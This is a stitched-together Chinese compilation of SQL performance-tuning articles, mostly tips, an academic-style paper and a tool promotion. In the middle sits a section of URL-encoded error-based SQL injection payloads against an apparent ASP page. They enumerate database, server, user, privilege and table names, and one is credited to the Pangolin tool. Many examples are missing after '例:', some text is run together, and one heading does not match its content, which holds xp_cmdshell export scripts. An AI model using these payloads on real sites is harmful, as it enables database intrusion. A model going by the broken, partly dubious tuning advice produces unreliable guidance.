SQL语句性能优化(共9篇)
1.SQL语句性能优化 篇一
1.尽量不要对列名进行函数处理。而是针对后面的值进行处理 例如where col1 =-5的效率比where-col1=5的效率要高
因为后面的条件对列值进行了计算。这样的条件下优化器无法使用索引 而是要针对所有值进行计算之后才能再比较
2.尽量使用和数剧列一样的值进行操作
如果col1是数值型
那么例如where col1 = 2和where col1= ‘2′
则前者效率更高
因为比较字符和数值型的时候
引擎需要把两者都转化成双精度然后进行比较
3.减少函数的使用
例如where col1 >= ‘2009-10-26′ and col1 <= ‘2009-10-27′
和where datediff(day,col1,getdate())=0
后者因为用到函数处理。所以col1上的索引又无法使用了
4.尽量不要用OR
一般对于OR的条件
优化器一般会使用全表扫描
2.SQL语句性能优化 篇二
关键词:SQL,优化策略,数据库性能,谓词
0 引言
查询是数据库中最基本、最常用、最复杂的操作。在数据库的管理信息系统中,查询操作是所有数据库操作中所占据比重最大的操作。当数据库系统积累到一定程度,若查询时采用单条顺序扫描,那么扫描一遍所有的记录可能就得花上几十分钟,甚至几小时,这样的系统就失去了现实的使用价值。采取什么样的查询策略,使查询时间降为几分钟或者几秒钟,就是这里需要研究的查询优化问题。
1 优化原理[1]
查询优化力图找出给定表达式等价,但执行效率更高的一个表达式,一个查询往往会有许多实现方法,关键是如何找出一个与之等价的且操作时间又少的表达式,查询优化关注的问题是怎样省时、省空间以及效率高。优化的核心问题是尽可能减少查询中各表的参与加工的数据量,从而达到优化时间和空间的目的。
2 SQL优化的方法
2.1 模糊匹配的避免
LIKE关键字支持通配符匹配,技术上称为正则表达式。但这种匹配特别耗费时间,尽量避免使用模糊匹配。例:
即使在rx score字段上建立了索引,在这种情况下也还是采用顺序扫描的方式。
可改写为:
这样,在执行查询时就会利用索引来查询,显然会大大提高速度。
2.2 逻辑表达式的等价变换
由于执行引擎对各种谓词的处理方法不同,因此把逻辑表达式重写成等价的且效率较高的表达式是提高查询效率的有效方法,同时也是切实可行的[2]。通过查阅大量的文献资料以及大量的实验,分析了RDBMS执行引擎对各种谓词执行效率的不同,总结出以下几种逻辑表达式转换规则:
2.2.1 将多个OR连接的表达式转化为ANY表达式
当条件表达式中同层次上出现由连接词OR连接的表达式,并且OR所连接的表达式的左表达式相同且谓词符号也相同时,那么可以将这些表达式合并为一个右表达式用ANY来描述的表达式。例:
可改写为:
2.2.2 将ANY或ALL转化为简单的比较表达式
当谓词的右表达式为ANY或ALL的形式,并且ANY(ALL)包含的各表达式均有固定值,并且可以比较大小,则可根据谓词符号(仅限于比较大小的操作符)将ANY(ALL)重写为简单的比较表达式。例:
x>ANY(100,200,300) 可改写为:x>100;
x>ALL(100,200,300) 可改写为:x>300
2.2.3 将BETWEEN…AND转化为AND连接的表达式
可以把由BETWEEN expr1 AND expr2的形式重写为用AND连接的两个表达式,效率往往有一定的提高。例:
可改写为:
2.2.4 将IN谓词表达式转换为OR连接的谓词表达式
例:年龄IN(20,30,40)
可写为:年龄=20 OR年龄=30 OR年龄=40
以上提到的4类谓词重写规则均有其特定的条件,在条件满足的情况下才可以使用。对于简单谓词的重写,每条规则提高的效率可能不太明显,但如果查询语句的WHERE条件同时使用多条规则进行重写时,效率的提高将非常可观。
2.3 子查询合并
子查询合并是将某些特定的子查询重写为等价的多个表的连接操作。子查询合并的作用在于能使查询语句的层次尽可能地减少,从而可提高查询的效率。子查询合并的一般规则为:
(1)如果外层查询的结果没有重复,即SELECT子句中包含主码,则可以合并其子查询,并且合并后的SELECT子句前应加上DISTINCT标志;
(2)如果外层查询的SELECT子句中有DISTINCT标志,那么可以直接进行子查询合并;
(3)如果内部子查询结果没有重复元组,则可以合并。
例:查询选修002号课程的学生基本信息。
用子查询的方法如下所示,例:
可改写为:
2.4 用集合运算来代替逻辑运算
0R在嵌套查询中,表的顺序存取对查询效率可能产生致命的影响,避免这种情况的方法就是对连接的列进行索引。例如两个表:student(sno,sname,age)和sc(sno,cno,score)。如果两个表要做连接,就要在“sno”这个连接字段上建立索引。还可以使用并集来避免顺序存取,尽管在所有检查列上都有索引,但某些形式的WHERE子句强迫优化器使用顺序存取。下面的查询将强迫对student表执行顺序操作:
OR xb=′计算机系′
虽然在sno和系别名上都建有索引,但是在上面的语句中优化器还是使用顺序存取的方法扫描整个表因为这个语句要检索的是分离的行的集合,所以应该改为如下语句:
UNION SELECT*FROM student WHERE xb=′计算机系′
2.5 多表连接优化
最能体现查询复杂性的就是多表连接,多表连接操作往往要耗费大量的CPU时间和内存,因此多表连接查询性能优化往往是SQL优化的重点与难点[3]。
2.5.1 充分利用连接条件
在某种情况下,两个表之间可能不只一个的连接条件,这时在WHERE子句中将连接条件完整的写上,有可能大大提高查询速度。例:
这里,第二句将比第一句执行快得多。
2.5.2 先筛选后连接
当查询多个数据表时,要先过滤后再连接。例:
它们的执行效率相差很大。第一个查询语句首先将两个数据表按照用户ID进行连接,然后再将符合条件的记录筛选。由于两个数据表进行连接时记录有些是以后还要筛选掉的,这显然会占用更多的时间,且多个数据表连接是笛卡儿积运算,消耗的时间会随着记录个数的增加很快地增长。第二个查询语句克服了这个缺点,首先筛选出符合条件的记录,减少了进行连接的记录个数,然后再执行连接查询,大大提高了查询效率。
3 结语
查询优化要抓住关键问题,对于数据库应用程序,重点在于如何提高SQL的执行效率。在数据库的开发和维护过程中,查询的优化设计可以提高系统性能,对于数据量大的数据库系统尤为重要。以上介绍的几种优化策略使查询在时间和空间上提高了系统的性能,在一定程度上提高了查询效率。
参考文献
[1]王珊,萨师煊.数据库系统概论[M].4版.北京:高等教育出版社,2006.
[2]丁宝康,董健全.数据库实用教程[M].2版.北京:清华大学出版社,2003.
[3]范剑波,张晓云.网络数据库技术与应用[M].西安:西安电子科技大学出版社,2004.
[4]刘志成,彭勇.数据库系统原理与应用[M].北京:机械工业出版社,2007.
[5]罗运模.SQL Server数据库系统基础[M].北京:高等教育出版社,2006.
[6]宋瀚涛,李新社.数据库编程与应用[M].北京:电子工业出版社,1998.
[7]史嘉权.数据库系统概论[M].北京:清华大学出版社,2006.
[8]马李明,王守桃,徐艳蕾.SQL语句的优化在提高数据查询中的应用[J].电脑知识与技术,2008(20):200,223.
3.SQL语句性能优化 篇三
关键词:SQL语句;优化;智能;自动;数据库;程序
中图分类号:TP311.131 文献标识码:A文章编号:1007-9599 (2010) 09-0000-01
SQL Statement Optimization Study for Database
------- LECCO SQL Expert Analysis and Research
Li Maozhou
(Sichuan Transportation Vocational&Technical College,Chengdu611130,China)
Abstract:Some optimization experts believe that database can get nearly 40% system performance by optimizing SQL statements to high performance of SQL statements about the problem of database SQL statement optimization,which have always been keen on by computer researchers. Through artificial intelligence to automatically optimize on the SQL is re-inputing of the SQL statement for get the optimal SQL statement with the same effect.
Keywords:SQL statement;Optimization;Intelligent;Automatic;
Database;Program
一、对数据库中SQL语句进行优化的背景
我们都知道,对于一个计算机数据库系统的生命周期进行分阶段优化研究,它可以分为设计阶段优化、开发阶段优化、成品阶段优化这三个阶段,在数据库设计阶段优化数据库性能其成本最低收益最大,而对于成品阶段优化而言,这一阶段对数据库性能优化的成本最高收益最小,许多的优化专家都认为,通过对网络、数据库参数、计算机硬件、应用程序等来优化数据库系统可以在很大程度上让计算机数据库系统性能得到提升,据统计数据库系统性能提升的40%来源于对网络、计算机操作系统、数据库参数等的优化,其余的将近60%则是来源于对数据库应用程序的优化,有的优化专家甚至认为对于数据库应用程序中SOL语句的优化占到其中的一半还多,由此可见优化数据库中SQL语句对于计算机数据库系统性能的提升有着很大的影响。
二、在计算机数据库中SQL语句优化的意义
作为对计算机数据库进行操作的唯一途径,SQL语句对于计算机数据库系统的性能直接有着决定性的影响。在数据库资源的消耗中,SQL语句占了总消耗量的70%-90%;基于独立于程序设计逻辑的特点,我们对SQL语句进行优化对于计算机数据库来说,不对造成程序逻辑的混乱。
三、对SQL优化技术的发展历程进行分析
在计算机数据库方面的研究中,对于SQL优化技术而言,它的发展一共经历的三个阶段,在第一阶段是专门针对输入方面的SQL语句执行计划分析的技术,这种从数据库中提取执行计划,而且执行解释关键字含义的技术被称为第一代的SQL优化技术。第二阶段的SQL优化技术是通过对输入的SQL语句的执行计划进行分析,由此来产生是否增加索引的建议,这类技术被称为二代的SQL语句优化工具,它只能提供增加索引的一些建议,最后一阶段的SQL优化技术在分析输入SQL语句执行计划的基础上,同时对输入的SQL语句本身进行语法分析,由此来产生对SQL语句写法上的改进。
四、对于人工智能自动SQL优化技术-----LECCO SQL Expert的分析性研究
(一)对于LECCO SQL Expert优化模块的特点进行研究
LECCO SQL Expert通过独家的人工智能知识库反馈式搜索引擎进行对SQL语句进行优化,通过重写性能优异的SQL语句来达到对数据库系统性能的提升,在保证产生相同结果的接触上,它通过先进的SQL语法分析器来对较为复杂的SQL语句进行分析,通过对优化重写而得出的SQL语句进行测试运行,从而自动的找出性能最好的SQL语句,为应用程序跟数据库提供最为便捷的服务。
其次,LECCO SQL Expert作为非常先进的SQL优化工具,它提供的边做边学式训练模式,可以迅速有效的提升开发人员的SQL编程技能,而且与此同时提供SQL运行状态帮助跟更为便捷的上下文敏感的执行计划帮助系统,提供出独一无二的SQL重写解决方案。
(二)LECCO SQL Expert可以让普通的程序员写出专家级别的SQL语句
对SQL语句的优化变的方便快捷简单是其最大最优特点,笔者认为只要能写出好的SQL语句,它就能为用户提供出最好性能的优化写法,同以往的数据库优化手段进行分析比较,LECCO SQL Expert的出现把数据库优化技术提升了一个很高的层次,在最短的时间内找出所有可能的优化方案,再通过实际的测试,提供出最有效的优化方案,让普通的程序员即可写出专家级别的SQL语句,这一最大的特征让原本传统上由人的来完成的完全依赖于人的经验、受人思维限制的数据库优化手段变得更为简单有效,更为自动准确起来。
五、结束语
總的来说,对于数据库的优化时一个严格复杂的系统工程,在数据库德整体实施过程中影响到数据库系统性能的因素是非常多的,不同项目应用要求也各不相同,我们必须对数据库运行的实际情况加以分析,然后才能得出更好的优化解决方案。通过对计算机数据库中SQL语句的优化研究,一定程度上可以为数据库德更好的维护跟开发提供一些有益的解决办法。
参考文献:
[1]茹蓓.SQL查询语句的优化,《新乡教育学院学报》,2006年第4期
[2]马建霞.巧用执行计划优化SQL Server数据库查询,《电脑与电信》,2010年第6期
4.SQL注入语句 篇四
ID=1458%20and%20db_name%28%29%3D0数据库名
ID=1458%20and%20@@servername%3D0服务器名
ID=1458%20and%20system_user%3D0系统用户名
D=1458%20and%20user%3D0权限/DBOORPUBLIC
ID=1458%20and%20quotename%28is_srvrolemember%280x730079007300610064006D0069006E00%29%29%3D0是否sysadmin,1是0否
ID=1458%20and%20quotename%28db_name%281%29%29%3D0判断数据库
ID=1458%20and%20quotename%28db_name%282%29%29%3D0
ID=1458%20and%20quotename%28db_name%283%29%29%3D0
ID=1458%20and%20%28select%20top%201%20quotename%28name%29%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%20AND%20name%20not%20in%20%28select%20top%2032%20name%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%29%29%3D0
ID=1458%20and%20%28select%20top%201%20quotename%28name%29%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%20AND%20name%20not%20in%20%28select%20top%2033%20name%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%29%29%3D0
解密之后就是:
ID=1458and(selecttop1quotename(name)fromDigicom.dbo.sysobjectswheretype=UANDnamenotin(selecttop33namefromDigicom.dbo.sysobjectswheretype=U))=0
下面是pangolin的:
/add_item.asp?ID=1458%20and%200<(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([filename]%20as%20nvarchar(4000))%20from(select%20top%20%201%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--%20and%201=1
5.sql语句高效性 篇五
sql语句高效性
在SQL Server数据库中,我们在写查询语句时,一定要遵循一定的原则才能能够使SQL语句执行起来更加的高效率。本文我们主要就总结了34条写高性能SQL语句的原则,接下来就让我们一起来了解一下这部分内容吧。 (1)选择最有效率的表名顺序(只在基于规则的优化器中有效): ORACLE的解析器按照从右到左的顺序处理FROM子句中的表名,FROM子句中写在最后的表(基础表drivingtable)将被最先处理,在FROM子句中包含多个表的情况下,你必须选择记录条数最少的表作为基础表。如果有3个以上的表连接查询,那就需要选择交叉表(intersectiontable)作为基础表,交叉表是指那个被其他表所引用的表. (2)WHERE子句中的连接顺序.: ORACLE采用自下而上的顺序解析WHERE子句,根据这个原理,表之间的连接必须写在其他WHERE条件之前,那些可以过滤掉最大数量记录的条件必须写在WHERE子句的末尾. (3)SELECT子句中避免使用‘*‘: ORACLE在解析的过程中,会将*依次转换成所有的列名,这个工作是通过查询数据字典完成的,这意味着将耗费更多的时间 (4)减少访问数据库的次数: ORACLE在内部执行了许多工作:解析SQL语句,估算索引的利用率,绑定变量,读数据块等; (5)在SQL*Plus,SQL*Forms和Pro*C中重新设置ARRAYSIZE参数,可以增加每次数据库访问的检索数据量,建议值为200 (6)使用DECODE函数来减少处理时间: 使用DECODE函数可以避免重复扫描相同记录或重复连接相同的表. (7)整合简单,无关联的数据库访问: 如果你有几个简单的数据库查询语句,你可以把它们整合到一个查询中(即使它们之间没有关系) (8)删除重复记录: 最高效的删除重复记录方法(因为使用了ROWID)例子: 1. DELETEFROMEMPEWHEREE.ROWID>(SELECTMIN(X.ROWID) 2. FROMEMPXWHEREX.EMP_NO=E.EMP_NO); (9)用TRUNCATE替代DELETE: 当删除表中的记录时,在通常情况下,回滚段(rollbacksegments)用来存放可以被恢复的信息.如果你没有COMMIT事务,ORACLE会将数据恢复到删除之前的状态(准确地说是恢复到执行删除命令之前的状况)而当运用TRUNCATE时,回滚段不再存放任何可被恢复的信息.当命令运行后,数据不能被恢复.因此很少的资源被调用,执行时间也会很短.(译者按:TRUNCATE只在删除全表适用,TRUNCATE是DDL不是DML) (10)尽量多使用COMMIT: 只要有可能,在程序中尽量多使用COMMIT,这样程序的性能得到提高,需求也会因为COMMIT所释放的资源而减少: COMMIT所释放的资源: a.回滚段上用于恢复数据的信息. b.被程序语句获得的锁 c.redologbuffer中的空间 d.ORACLE为管理上述3种资源中的内部花费 (11)用Where子句替换HAVING子句: 避免使用HAVING子句,HAVING只会在检索出所有记录之后才对结果集进行过滤.这个处理需要排序,总计等操作.如果能通过WHERE子句限制记录的数目,那就能减少这方面的开销.(非oracle中)on、where、having这三个都可以加条件的子句中,on是最先执行,where次之,having最后,因为on是先把不符合条件的记录过滤后才进行统计,它就可以减少中间运算要处理的数据,按理说应该速度是最快的,where也应该比having快点的,因为它过滤数据后才进行sum,在两个表联接时才用on的,所以在一个表的时候,就剩下where跟having比较了。在这单表查询统计的情况下,如果要过滤的条件没有涉及到要计算字段,那它们的结果是一样的,只是where可以使用rushmore技术,而having就不能,在速度上后者要慢如果要涉及到计算的字段,就表示在没计算之前,这个字段的值是不确定的,根据上篇写的工作流程,where的作用时间是在计算之前就完成的,而having就是在计算后才起作用的,所以在这种情况下,两者的结果会不同。在多表联接查询时,on比where更早起作用。系统首先根据各个表之间的联接条件,把多个表合成一个临时表后,再由where进行过滤,然后再计算,计算完后再由having进行过滤。由此可见,要想过滤条件起到正确的作用,首先要明白这个条件应该在什么时候起作用,然后再决定放在那里 (12)减少对表的查询: 在含有子查询的SQL语句中,要特别注意减少对表的`查询.例子: 1. SELECTTAB_NAMEFROMTABLESWHERE(TAB_NAME,DB_VER)=(SE LECT 2. TAB_NAME,DB_VERFROMTAB_COLUMNSWHEREVERSION=604) (13)通过内部函数提高SQL效率.: 复杂的SQL往往牺牲了执行效率.能够掌握上面的运用函数解决问题的方法在实际工作中是非常有意义的。 (14)使用表的别名(Alias): 当在SQL语句中连接多个表时,请使用表的别名并把别名前缀于每个Column上.这样一来,就可以减少解析的时间并减少那些由Column歧义引起的语法错误. (15)用EXISTS替代IN、用NOTEXISTS替代NOTIN: 在许多基于基础表的查询中,为了满足一个条件,往往需要对另一个表进行联接.在这种情况下,使用EXISTS(或NOTEXISTS)通常将提高查询的效率.在子查询中,NOTIN子句将执行一个内部的排序和合并.无论在哪种情况下,NOTIN都是最低效的(因为它对子查询中的表执行了一个全表遍历).为了避免使用NOTIN,我们可以把它改写成外连接(OuterJoins)或NOTEXISTS. 例子: 高效: 1. SELECT*FROMEMP(基础表)WHEREEMPNO>0ANDEXISTS 2. (SELECT‘XFROMDEPTWHEREDEPT.DEPTNO=EMP.DEPTNOANDLOC=‘MELB) 低效: 1. SELECT*FROMEMP(基础表)WHEREEMPNO>0ANDDEPTNOIN 2. (SELECTDEPTNOFROMDEPTWHERELOC=‘MELB) (16)识别低效执行的SQL语句: 虽然目前各种关于SQL优化的图形化工具层出不穷,但是写出自己的SQL工具来解决问题始终是一个最好的方法: 1. SELECTEXECUTIONS,DISK_READS,BUFFER_GETS, 2. ROUND((BUFFER_GETS-DISK_READS)/BUFFER_GETS,2)Hit_r adio, 3. ROUND(DISK_READS/EXECUTIONS,2)Reads_per_run, 4. SQL_TEXT 5. FROMV$SQLAREA 6. WHEREEXECUTIONS>0 7. ANDBUFFER_GETS>0 8. AND(BUFFER_GETS-DISK_READS)/BUFFER_GETS<0.8 9. ORDERBY4DESC; (17)用索引提高效率: 索引是表的一个概念部分,用来提高检索数据的效率,ORACLE使用了一个复杂的自平衡B-tree结构.通常,通过索引查询数据比全表扫描要快.当ORACLE找出执行查询和Update语句的最佳路径时,ORACLE优化器将使用索引.同样在联结多个表时使用索引也可以提高效率.另一个使用索引的好处是,它提供了主键(primarykey)的唯一性验证.。那些LONG或LONGRAW数据类型,你可以索引几乎所有的列.通常,在大型表中使用索引特别有效.当然,你也会发现,在扫描小表时,使用索引同样能提高效率.虽然使用索引能得到查询效率的提高,但是我们也必须注意到它的代价.索引需要空间来存储,也需要定期维护,每当有记录在表中增减或索引列被修改时,索引本身也会被修改.这意味着每条记录的INSERT,DELETE,UPDATE将为此多付出4,5次的磁盘I/O.因为索引需要额外的存储空间和处理,那些不必要的索引反而会使查询反应时间变慢.。定期的重构索引是有必要的.: ALTERINDEX6.SQL语句性能优化 篇六
/*******导出到excel
EXEC master..xp_cmdshell ’bcp SettleDB.dbo.shanghu out c: emp1.xls -c -q -S”GNETDATA/GNETDATA“ -U”sa“ -P”“’
/***********导入Excel
SELECT *
FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’,
’Data Source=”c: est.xls“;User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions
SELECT cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+’ ’ 转换后的别名
FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’,
’Data Source=”c: est.xls“;User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions
/** 导入文本文件
EXEC master..xp_cmdshell ’bcp ”dbname..tablename“ in c:DT.txt -c -Sservername -Usa -Ppassword’
/** 导出文本文件
EXEC master..xp_cmdshell ’bcp ”dbname..tablename“ out c:DT.txt -c -Sservername -Usa -Ppassword’
或
EXEC master..xp_cmdshell ’bcp ”Select * from dbname..tablename“ queryout c:DT.txt -c -Sservername -Usa -Ppassword’
导出到TXT文本,用逗号分开
exec master..xp_cmdshell ’bcp ”库名..表名“ out ”d: t.txt“ -c -t ,-U sa -P password’
BULK INSERT 库名..表名
FROM ’c: est.txt’
WITH (
FIELDTERMINATOR = ’;’,
ROWTERMINATOR = ’ ’
)
--/* dBase IV文件
select * from
OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’
,’dBase IV;HDR=NO;IMEX=2;DATABASE=C:’,’select * from [客户资料4.dbf]’)
--*/
--/* dBase III文件
select * from
OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’
,’dBase III;HDR=NO;IMEX=2;DATABASE=C:’,’select * from [客户资料3.dbf]’)
--*/
--/* FoxPro 数据库
select * from openrowset(’MSDASQL’,
’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:’,
’select * from [aa.DBF]’)
--*/
/**************导入DBF文件****************/
select * from openrowset(’MSDASQL’,
’Driver=Microsoft Visual FoxPro Driver;
SourceDB=e:VFP98data;
SourceType=DBF’,
’select * from customer where country != ”USA“ order by country’)
go
/***************** 导出到DBF ***************/
如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句
insert into openrowset(’MSDASQL’,
’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:’,
’select * from [aa.DBF]’)
select * from 表
说明:
SourceDB=c:指定foxpro表所在的文件夹
aa.DBF指定foxpro表的文件名.
/*************导出到Access********************/
insert into openrowset(’Microsoft.Jet.OLEDB.4.0’,
’x:A.mdb’;’admin’;’’,A表) select * from 数据库名..B表
/*************导入Access********************/
insert into B表 selet * from openrowset(’Microsoft.Jet.OLEDB.4.0’,
’x:A.mdb’;’admin’;’’,A表)
*********************导入 xml 文件
DECLARE @idoc int
DECLARE @doc varchar(1000)
--sample XML document
SET @doc =’
Customer was very satisfied
white red”>
Important
Happy Customer.
’
-- Create an internal representation of the XML document.
EXEC sp_xml_preparedocument @idoc OUTPUT, @doc
-- Execute a SELECT statement using OPENXML rowset provider.
SELECT *
FROM OPENXML (@idoc, ’/root/Customer/Order’, 1)
WITH (oidchar(5),
amountfloat,
comment ntext ’text’)
EXEC sp_xml_removedocument @idoc
/********************导整个数据库*********************************************/
用bcp实现的存储过程
/*
实现数据导入/导出的存储过程
根据不同的参数,可以实现导入/导出整个数据库/单个表
调用示例:
--导出调用示例
----导出单个表
exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:zj.txt’,1
----导出整个数据库
exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:docman’,1
--导入调用示例
----导入单个表
exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:zj.txt’,0
----导入整个数据库
exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:docman’,0
*/
if exists(select 1 from sysobjects where name=’File2Table’ and objectproperty(id,’IsProcedure’)=1)
drop procedure File2Table
go
create procedure File2Table
@servername varchar(200)--服务器名
,@username varchar(200)--用户名,如果用NT验证方式,则为空’’
,@password varchar(200)--密码
,@tbname varchar(500)--数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表
,@filename varchar(1000)--导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt
,@isout bit--1为导出,0为导入
as
declare @sql varchar(8000)
if @tbname like ’%.%.%’ --如果指定了表名,则直接导出单个表
begin
set @sql=’bcp ’+@tbname
+case when @isout=1 then ’ out ’ else ’ in ’ end
+’ “’+@filename+’” /w’
+’ /S ’+@servername
+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end
+’ /P ’+isnull(@password,’’)
exec master..xp_cmdshell @sql
end
else
begin --导出整个数据库,定义游标,取出所有的用户表
declare @m_tbname varchar(250)
if right(@filename,1)’’ set @filename=@filename+’’
set @m_tbname=’declare #tb cursor for select name from ’+@tbname+’..sysobjects where xtype=’’U’’’
exec(@m_tbname)
open #tb
fetch next from #tb into @m_tbname
while @@fetch_status=0
begin
set @sql=’bcp ’+@tbname+’..’+@m_tbname
+case when @isout=1 then ’ out ’ else ’ in ’ end
+’ “’+@filename+@m_tbname+’.txt ” /w’
+’ /S ’+@servername
+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end
+’ /P ’+isnull(@password,’’)
exec master..xp_cmdshell @sql
fetch next from #tb into @m_tbname
end
close #tb
deallocate #tb
end
go
/**********************Excel导到Txt****************************************/
想用
select * into opendatasource(...) from opendatasource(...)
实现将一个Excel文件内容导入到一个文本文件
假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位)
且银行帐号导出到文本文件后分两部分,前8位和后8位分开,
(MS SQL Server)SQL语句导入导出大全数据库教程
,
如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2
然后就可以用下面的语句进行插入
注意文件名和目录根据你的实际情况进行修改.
insert into
opendatasource(’MICROSOFT.JET.OLEDB.4.0’
,’Text;HDR=Yes;DATABASE=C:’
)...[aa#txt]
--,aa#txt)
--*/
select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
from
opendatasource(’MICROSOFT.JET.OLEDB.4.0’
,’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:a.xls’
--,Sheet1$)
)...[Sheet1$]
如果你想直接插入并生成文本文件,就要用bcp
declare @sql varchar(8000),@tbname varchar(50)
--首先将excel表内容导入到一个全局临时表
select @tbname=’[##temp’+cast(newid() as varchar(40))+’]’
,@sql=’select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
into ’+@tbname+’ from
opendatasource(’’MICROSOFT.JET.OLEDB.4.0’’
,’’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:a.xls’’
)...[Sheet1$]’
exec(@sql)
--然后用bcp从全局临时表导出到文本文件
set @sql=’bcp “’+@tbname+’” out “c:aa.txt” /S“(local)” /P“” /c’
exec master..xp_cmdshell @sql
--删除临时表
exec(’drop table ’+@tbname)
用bcp将文件导入导出到数据库的存储过程:
/*--bcp-二进制文件的导入导出
支持image,text,ntext字段的导入/导出
image适合于二进制文件;text,ntext适合于文本数据文件
注意:导入时,将覆盖满足条件的所有行
导出时,将把所有满足条件的行也出到指定文件中
此存储过程仅用bcp实现
邹建 2003.08-----------------*/
/*--调用示例
--数据导出
exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:zj1.dat’
--数据导出
exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:zj1.dat’,’’,0
--*/
if exists (select * from dbo.sysobjects where id = object_id(N’[dbo].[p_binaryIO]’) and OBJECTPROPERTY(id, N’IsProcedure’) = 1)
drop procedure [dbo].[p_binaryIO]
GO
Create proc p_binaryIO
@servename varchar (30),--服务器名称
@username varchar (30), --用户名
@password varchar (30), --密码
@tbname varchar (500),--数据库..表名
@fdname varchar (30),--字段名
@fname varchar (1000), --目录+文件名,处理过程中要使用/覆盖:@filename+.bak
@tj varchar (1000)=’’,--处理条件.对于数据导入,如果条件中包含@fdname,请指定表名前缀
@isout bit=1--1导出((默认),0导入
AS
declare @fname_in varchar(1000) --bcp处理应答文件名
,@fsize varchar(20)--要处理的文件的大小
,@m_tbname varchar(50)--临时表名
,@sql varchar(8000)
--则取得导入文件的大小
if @isout=1
set @fsize=’0’
else
begin
create table #tb(可选名 varchar(20),大小 int
,创建日期 varchar(10),创建时间 varchar(20)
,上次写操作日期 varchar(10),上次写操作时间 varchar(20)
,上次访问日期 varchar(10),上次访问时间 varchar(20),特性 int)
insert into #tb
exec master..xp_getfiledetails @fname
select @fsize=大小 from #tb
drop table #tb
if @fsize is null
begin
print ’文件未找到’
return
end
end
--生成数据处理应答文件
set @m_tbname=’[##temp’+cast(newid() as varchar(40))+’]’
set @sql=’select * into ’+@m_tbname+’ from(
select null as 类型
union all select 0 as 前缀
union all select ’+@fsize+’ as 长度
union all select null as 结束
union all select null as 格式
) a’
exec(@sql)
select @fname_in=@fname+’_temp’
,@sql=’bcp “’+@m_tbname+’” out “’+@fname_in
+’” /S“’+@servename
+case when isnull(@username,’’)=’’ then ’’
else ’” /U“’+@username end
+’” /P“’+isnull(@password,’’)+’” /c’
exec master..xp_cmdshell @sql
--删除临时表
set @sql=’drop table ’+@m_tbname
exec(@sql)
if @isout=1
begin
set @sql=’bcp “select top 1 ’+@fdname+’ from ’
+@tbname+case isnull(@tj,’’) when ’’ then ’’
else ’ where ’+@tj end
+’” queryout “’+@fname
+’” /S“’+@servename
+case when isnull(@username,’’)=’’ then ’’
else ’” /U“’+@username end
+’” /P“’+isnull(@password,’’)
+’” /i“’+@fname_in+’”’
exec master..xp_cmdshell @sql
end
else
begin
--为数据导入准备临时表
set @sql=’select top 0 ’+@fdname+’ into ’
+@m_tbname+’ from ’ +@tbname
exec(@sql)
--将数据导入到临时表
set @sql=’bcp “’+@m_tbname+’” in “’+@fname
+’” /S“’+@servename
+case when isnull(@username,’’)=’’ then ’’
else ’” /U“’+@username end
+’” /P“’+isnull(@password,’’)
+’” /i“’+@fname_in+’”’
exec master..xp_cmdshell @sql
--将数据导入到正式表中
set @sql=’update ’+@tbname
+’ set ’+@fdname+’=b.’+@fdname
+’ from ’+@tbname+’ a,’
+@m_tbname+’ b’
+case isnull(@tj,’’) when ’’ then ’’
else ’ where ’+@tj end
exec(@sql)
--删除数据处理临时表
set @sql=’drop table ’+@m_tbname
end
--删除数据处理应答文件
set @sql=’del ’+@fname_in
exec master..xp_cmdshell @sql
go
/** 导入文本文件
EXEC master..xp_cmdshell ’bcp “dbname..tablename” in c:DT.txt -c -Sservername -Usa -Ppassword’
改为如下,不需引号
EXEC master..xp_cmdshell ’bcp dbname..tablename in c:DT.txt -c -Sservername -Usa -Ppassword’
/** 导出文本文件
EXEC master..xp_cmdshell ’bcp “dbname..tablename” out c:DT.txt -c -Sservername -Usa -Ppassword’
7.SQL语句性能优化 篇七
1 对SQL语句进行优化的好处
